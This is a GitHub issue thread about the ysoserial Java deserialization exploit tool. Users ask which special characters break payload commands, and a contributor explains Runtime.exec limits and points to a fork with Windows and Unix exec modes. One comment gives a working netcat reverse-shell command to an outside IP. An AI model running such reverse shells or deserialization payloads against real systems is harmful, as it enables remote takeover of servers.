-
Notifications
You must be signed in to change notification settings - Fork 1.7k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
The 'command' can't have sepcial characters? #147
Comments
Another related question is how to use those raw input file. Like |
I'm running into an issue that I think is related to special characters as well. Specifically, while using the
|
thank you for linking them @zeroSteiner |
Hi @A1vinSmith , many ysoserial gadgets use Runtime.exec(String) method that works with any target (windows, linux, etc.) but does not work with many special chars. One solution can be to try to convert your command using this workaround: Alternatively, I forked the repository and added a variation of the payloads that allow all the chars when exploiting Linux or Windows targets, but you have to choose between Windows and Linux when you generate the payload. You can find the build here: https://github.com/federicodotta/ysoserial You can generate payloads for Windows/Linux as follows: Federico |
Thank you @federicodotta |
Hi @A1vinSmith, Because unfortunately my changes don't apply to all the gadgets, but only to a subset of them. In some gadget it is not possible to add the other modes (sleep, dns, exec_win, exec_unix, etc.) and for this reason I chose to make a "quick and dirty" mod to a fork of the tool. Federico |
The specific bug causing the problem reported by @zeroSteiner has been resolved in #151. |
It's not working
But
nc -e /bin/sh 10.0.0.1 4242
is working.My question is which characters can not be used into the cmd?
;
,>
and/or|
The text was updated successfully, but these errors were encountered: